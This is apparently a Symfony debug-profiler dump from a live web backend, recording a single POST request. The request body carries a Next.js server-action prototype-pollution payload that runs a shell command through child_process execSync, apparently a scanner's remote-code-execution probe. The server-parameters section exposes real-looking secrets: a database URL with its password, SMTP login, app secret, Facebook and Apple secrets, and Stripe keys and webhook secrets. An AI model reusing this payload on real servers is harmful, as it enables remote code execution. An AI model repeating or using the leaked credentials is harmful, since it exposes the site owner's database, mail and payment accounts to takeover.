https://back.dotoast.com/

Method
POST
HTTP Status
200
IP
52.199.229.150
Profiled on
Token
0885cf

HomeController

Request

GET Parameters

No GET parameters

POST Parameters

Key Value
0 
"{"then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\"then\":\"$B1337\"}", "_response": {"_prefix": "var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});", "_chunks": "$Q2", "_formData": {"get": "$1:constructor:constructor"}}}"
1 
""$@0""
2 
"[]"

Uploaded Files

No files were uploaded

Request Attributes

Key Value
_controller 
"App\Http\Controller\Site\HomeController"
_firewall_context 
"security.firewall.map.context.main"
_route 
"site_index"
_route_params 
[]
_security_firewall_run 
"_security_main"
_stopwatch_token 
"7075d6"

Request Headers

Header Value
accept 
"*/*"
accept-encoding 
"gzip, deflate"
connection 
"keep-alive"
content-length 
"753"
content-type 
"multipart/form-data; boundary=--------WebKitFormBoundaryx8jO2oVc6SWP3Sad"
host 
"back.dotoast.com"
next-action 
"x"
user-agent 
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0"
x-nextjs-html-request-id 
"SSTMXm7OJ_g0Ncx6jpQt9"
x-nextjs-request-id 
"b5dce965"
x-php-ob-level 
"1"

Request Content

Request content not available (it was retrieved as a resource).

Response

Response Headers

Header Value
access-control-allow-headers 
"*"
access-control-allow-methods 
"*"
access-control-allow-origin 
"*"
cache-control 
"no-cache, private"
content-type 
"text/html; charset=UTF-8"
date 
"Thu, 11 Dec 2025 01:58:56 GMT"
x-debug-token 
"0885cf"

Cookies

Request Cookies

No request cookies

Response Cookies

No response cookies

Session 1

Session Metadata

No session metadata

Session Attributes

No session attributes

Session Usage

1 Usages
Stateless check enabled
Usage
Symfony\Component\Security\Core\Authentication\Token\Storage\UsageTrackingTokenStorage:44
Show trace 
[
  [
    "file" => "/home/bmrmcbxy/back.dotoast.com/vendor/symfony/security-core/Authentication/Token/Storage/UsageTrackingTokenStorage.php"
    "line" => 44
    "function" => "getMetadataBag"
    "class" => "Symfony\Component\HttpFoundation\Session\Session"
    "type" => "->"
  ]
  [
    "file" => "/home/bmrmcbxy/back.dotoast.com/vendor/symfony/security-http/Authenticator/RememberMeAuthenticator.php"
    "line" => 65
    "function" => "getToken"
    "class" => "Symfony\Component\Security\Core\Authentication\Token\Storage\UsageTrackingTokenStorage"
    "type" => "->"
  ]
  [
    "file" => "/home/bmrmcbxy/back.dotoast.com/vendor/symfony/security-http/Authentication/AuthenticatorManager.php"
    "line" => 110
    "function" => "supports"
    "class" => "Symfony\Component\Security\Http\Authenticator\RememberMeAuthenticator"
    "type" => "->"
  ]
  [
    "file" => "/home/bmrmcbxy/back.dotoast.com/vendor/symfony/security-http/Firewall/AuthenticatorManagerListener.php"
    "line" => 34
    "function" => "supports"
    "class" => "Symfony\Component\Security\Http\Authentication\AuthenticatorManager"
    "type" => "->"
  ]
  [
    "file" => "/home/bmrmcbxy/back.dotoast.com/vendor/symfony/security-http/Authenticator/Debug/TraceableAuthenticatorManagerListener.php"
    "line" => 40
    "function" => "supports"
    "class" => "Symfony\Component\Security\Http\Firewall\AuthenticatorManagerListener"
    "type" => "->"
  ]
  [
    "file" => "/home/bmrmcbxy/back.dotoast.com/vendor/symfony/security-bundle/Debug/WrappedLazyListener.php"
    "line" => 38
    "function" => "supports"
    "class" => "Symfony\Component\Security\Http\Authenticator\Debug\TraceableAuthenticatorManagerListener"
    "type" => "->"
  ]
  [
    "file" => "/home/bmrmcbxy/back.dotoast.com/vendor/symfony/security-http/Firewall/AbstractListener.php"
    "line" => 25
    "function" => "supports"
    "class" => "Symfony\Bundle\SecurityBundle\Debug\WrappedLazyListener"
    "type" => "->"
  ]
  [
    "file" => "/home/bmrmcbxy/back.dotoast.com/vendor/symfony/security-bundle/Security/LazyFirewallContext.php"
    "line" => 60
    "function" => "__invoke"
    "class" => "Symfony\Component\Security\Http\Firewall\AbstractListener"
    "type" => "->"
  ]
  [
    "file" => "/home/bmrmcbxy/back.dotoast.com/vendor/symfony/security-bundle/Debug/TraceableFirewallListener.php"
    "line" => 77
    "function" => "__invoke"
    "class" => "Symfony\Bundle\SecurityBundle\Security\LazyFirewallContext"
    "type" => "->"
  ]
  [
    "file" => "/home/bmrmcbxy/back.dotoast.com/vendor/symfony/security-http/Firewall.php"
    "line" => 92
    "function" => "callListeners"
    "class" => "Symfony\Bundle\SecurityBundle\Debug\TraceableFirewallListener"
    "type" => "->"
  ]
  [
    "file" => "/home/bmrmcbxy/back.dotoast.com/vendor/symfony/event-dispatcher/Debug/WrappedListener.php"
    "line" => 118
    "function" => "onKernelRequest"
    "class" => "Symfony\Component\Security\Http\Firewall"
    "type" => "->"
  ]
  [
    "file" => "/home/bmrmcbxy/back.dotoast.com/vendor/symfony/event-dispatcher/EventDispatcher.php"
    "line" => 230
    "function" => "__invoke"
    "class" => "Symfony\Component\EventDispatcher\Debug\WrappedListener"
    "type" => "->"
  ]
  [
    "file" => "/home/bmrmcbxy/back.dotoast.com/vendor/symfony/event-dispatcher/EventDispatcher.php"
    "line" => 59
    "function" => "callListeners"
    "class" => "Symfony\Component\EventDispatcher\EventDispatcher"
    "type" => "->"
  ]
  [
    "file" => "/home/bmrmcbxy/back.dotoast.com/vendor/symfony/event-dispatcher/Debug/TraceableEventDispatcher.php"
    "line" => 154
    "function" => "dispatch"
    "class" => "Symfony\Component\EventDispatcher\EventDispatcher"
    "type" => "->"
  ]
  [
    "file" => "/home/bmrmcbxy/back.dotoast.com/vendor/symfony/http-kernel/HttpKernel.php"
    "line" => 139
    "function" => "dispatch"
    "class" => "Symfony\Component\EventDispatcher\Debug\TraceableEventDispatcher"
    "type" => "->"
  ]
  [
    "file" => "/home/bmrmcbxy/back.dotoast.com/vendor/symfony/http-kernel/HttpKernel.php"
    "line" => 75
    "function" => "handleRaw"
    "class" => "Symfony\Component\HttpKernel\HttpKernel"
    "type" => "->"
  ]
  [
    "file" => "/home/bmrmcbxy/back.dotoast.com/vendor/symfony/http-kernel/Kernel.php"
    "line" => 202
    "function" => "handle"
    "class" => "Symfony\Component\HttpKernel\HttpKernel"
    "type" => "->"
  ]
  [
    "file" => "/home/bmrmcbxy/back.dotoast.com/public/index.php"
    "line" => 27
    "function" => "handle"
    "class" => "Symfony\Component\HttpKernel\Kernel"
    "type" => "->"
  ]
]

Flashes

Flashes

No flash messages were created.

Server Parameters

Server Parameters

Defined in .env

Key Value
APPLE_APP_ID 
"com.dotoast.toast"
APPLE_BASE_URL 
"https://api.storekit-sandbox.itunes.apple.com"
APPLE_ISSUER_ID 
"095296c3-47d1-4cbb-b792-4f9cafa1483a"
APPLE_KEY_ID 
"2N88AZVCA8"
APPLE_PRIVATE_KEY_PATH 
"/var/apple.p8"
APPLE_PUBLIC_KEY_PATH 
"/var/apple_public"
APPLE_SHARED_SECRET 
"95682e1c2fa74c89a0df7424ddadc6bd"
APPLE_SIGN_IN_ID 
"com.dotoast.apptoast"
APP_ENV 
"dev"
APP_HOST 
"https://back.dotoast.com"
APP_SECRET 
"d8ba33dc74a7df357108c767313b0505"
DATABASE_URL 
"mysql://bmrmcbxy_dotoast:kI6k32dwq2@77.83.103.23:3306/bmrmcbxy_back"
FACEBOOK_APP_ID 
"515974779224794"
FACEBOOK_APP_SECRET 
"f52aaca565c024bb4cd024e152d42a74"
GOOGLE_API_KEY 
""
GOOGLE_CLIENT_ID 
""
GOOGLE_CLIENT_SECRET 
""
MAILER_DSN 
"smtp://app@dotoast.com:wB4zq-sPsJ2-2dx9v@dotoast.com"
MAILER_DSN_GOOGLE 
"null://null"
MAILER_FROM 
"app@dotoast.com"
MAILER_FROM_GOOGLE 
""
REMOTE_DATABASE_URL 
"mysql://bmrmcbxy_dotoast:kI6k32dwq2@77.83.103.23:3306/bmrmcbxy_back"
STRIPE_DISCOUNT_MONTHLY 
"959dbeb6-26fe-4db8-a4b3-c9c1a4763e93"
STRIPE_DISCOUNT_PLAN_ID 
""
STRIPE_DISCOUNT_YEARLY_1 
"67f0fc3e-63c0-40d6-92bb-ac886d67c52c"
STRIPE_DISCOUNT_YEARLY_2 
"e265473a-e41b-4dab-84da-e98eaa112413"
STRIPE_DISCOUNT_YEARLY_3 
"4de32376-fe8b-4675-aed2-28a79543038b"
STRIPE_DISCOUNT_YEARLY_4 
"d32895b6-a030-44eb-a160-e710a2440c91"
STRIPE_DISCOUNT_YEARLY_5 
"22d22c94-5122-47cd-8d7d-4eb3803d18f8"
STRIPE_ENDPOINT_SECRET_RECURRING_PAYMENT 
"whsec_x0hdHJnA1EXabXL6t2nHy3M1uQdw9o9l"
STRIPE_ENDPOINT_SECRET_SUCCESS_SUBSCRIPTION 
"whsec_mzXvmGdtKrOxSI8hLXC9mLj2D1aS6bWv"
STRIPE_MONTH_PLAN_ID 
"price_1Hqe1wEBvtsXpWsS8ulVE92A"
STRIPE_MONTH_PLAN_ID_STUDENTS 
"price_1Hqe25EBvtsXpWsSy5T0csgU"
STRIPE_PLAN_TOAST_LIGHT_MONTHLY 
"price_HNJD0MQQRAtxIo"
STRIPE_PLAN_TOAST_LIGHT_YEARLY 
"price_1Hqe2BEBvtsXpWsS0BgN87m6"
STRIPE_PLAN_TOAST_PRO_MONTHLY 
"price_HNJD0MQQRAtxIo"
STRIPE_PLAN_TOAST_PRO_PLUS_MONTHLY 
"price_HNJD0MQQRAtxIo"
STRIPE_PLAN_TOAST_PRO_PLUS_YEARLY 
"price_1Hqe2BEBvtsXpWsS0BgN87m6"
STRIPE_PLAN_TOAST_PRO_YEARLY 
"price_1Hqe2BEBvtsXpWsS0BgN87m6"
STRIPE_PRICING_TABLE_WITHOUT_TRIAL 
"prctbl_1PrFUsEBvtsXpWsS621DN69g"
STRIPE_PRICING_TABLE_WITH_TRIAL 
"prctbl_1PrFUsEBvtsXpWsS621DN69g"
STRIPE_PRIVATE_KEY 
"sk_test_WTYQ81BDom31andD2LhuNB1k00TKZOdCWp"
STRIPE_PUBLIC_KEY 
"pk_test_is1nwYtwueupuw26ImAroHXc00uqhtGiPO"
STRIPE_YEARLY_PLAN_ID 
"price_1Hqe2BEBvtsXpWsS0BgN87m6"
STRIPE_YEARLY_PLAN_ID_PROMO 
"price_1Hqe1KEBvtsXpWsSjIKNu3cq"

Defined as regular env variables

Key Value
APP_DEBUG 
"1"
BASE 
"/public"
CONTENT_LENGTH 
"753"
CONTENT_TYPE 
"multipart/form-data; boundary=--------WebKitFormBoundaryx8jO2oVc6SWP3Sad"
DOCUMENT_ROOT 
"/home/bmrmcbxy/back.dotoast.com"
HTTPS 
"on"
HTTP_ACCEPT 
"*/*"
HTTP_ACCEPT_ENCODING 
"gzip, deflate"
HTTP_CONNECTION 
"keep-alive"
HTTP_HOST 
"back.dotoast.com"
HTTP_NEXT_ACTION 
"x"
HTTP_USER_AGENT 
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0"
HTTP_X_NEXTJS_HTML_REQUEST_ID 
"SSTMXm7OJ_g0Ncx6jpQt9"
HTTP_X_NEXTJS_REQUEST_ID 
"b5dce965"
PATH 
"/usr/local/bin:/bin:/usr/bin"
PHP_SELF 
"/public/index.php"
QUERY_STRING 
""
REDIRECT_REQUEST_METHOD 
"POST"
REDIRECT_STATUS 
"200"
REDIRECT_URL 
"/public/"
REMOTE_ADDR 
"52.199.229.150"
REMOTE_PORT 
"56470"
REQUEST_METHOD 
"POST"
REQUEST_SCHEME 
"https"
REQUEST_TIME 
1765418336
REQUEST_TIME_FLOAT 
1765418336.4212
REQUEST_URI 
"/"
SCRIPT_FILENAME 
"/home/bmrmcbxy/back.dotoast.com/public/index.php"
SCRIPT_NAME 
"/public/index.php"
SCRIPT_URI 
"https://back.dotoast.com/"
SCRIPT_URL 
"/"
SERVER_ADDR 
"77.83.103.23"
SERVER_ADMIN 
"webmaster@back.dotoast.com"
SERVER_NAME 
"back.dotoast.com"
SERVER_PORT 
"443"
SERVER_PROTOCOL 
"HTTP/1.1"
SERVER_SOFTWARE 
"LiteSpeed"
SSL_CIPHER 
"TLS_AES_256_GCM_SHA384"
SSL_CIPHER_ALGKEYSIZE 
"256"
SSL_CIPHER_USEKEYSIZE 
"256"
SSL_PROTOCOL 
"TLSv1.3"
SYMFONY_DOTENV_VARS 
"APP_ENV,APP_SECRET,APP_HOST,DATABASE_URL,REMOTE_DATABASE_URL,APPLE_SHARED_SECRET,APPLE_APP_ID,APPLE_SIGN_IN_ID,APPLE_KEY_ID,APPLE_ISSUER_ID,APPLE_PRIVATE_KEY_PATH,APPLE_PUBLIC_KEY_PATH,APPLE_BASE_URL,GOOGLE_API_KEY,GOOGLE_CLIENT_ID,GOOGLE_CLIENT_SECRET,MAILER_DSN,MAILER_DSN_GOOGLE,MAILER_FROM,MAILER_FROM_GOOGLE,STRIPE_PUBLIC_KEY,STRIPE_PRIVATE_KEY,STRIPE_MONTH_PLAN_ID,STRIPE_YEARLY_PLAN_ID,STRIPE_ENDPOINT_SECRET_SUCCESS_SUBSCRIPTION,STRIPE_ENDPOINT_SECRET_RECURRING_PAYMENT,STRIPE_YEARLY_PLAN_ID_PROMO,STRIPE_MONTH_PLAN_ID_STUDENTS,STRIPE_DISCOUNT_PLAN_ID,STRIPE_PRICING_TABLE_WITH_TRIAL,STRIPE_DISCOUNT_YEARLY_1,STRIPE_DISCOUNT_YEARLY_2,STRIPE_DISCOUNT_YEARLY_3,STRIPE_DISCOUNT_YEARLY_4,STRIPE_DISCOUNT_YEARLY_5,STRIPE_DISCOUNT_MONTHLY,FACEBOOK_APP_ID,FACEBOOK_APP_SECRET,STRIPE_PRICING_TABLE_WITHOUT_TRIAL,STRIPE_PLAN_TOAST_LIGHT_MONTHLY,STRIPE_PLAN_TOAST_PRO_MONTHLY,STRIPE_PLAN_TOAST_PRO_PLUS_MONTHLY,STRIPE_PLAN_TOAST_LIGHT_YEARLY,STRIPE_PLAN_TOAST_PRO_YEARLY,STRIPE_PLAN_TOAST_PRO_PLUS_YEARLY"
X-LSCACHE 
"on"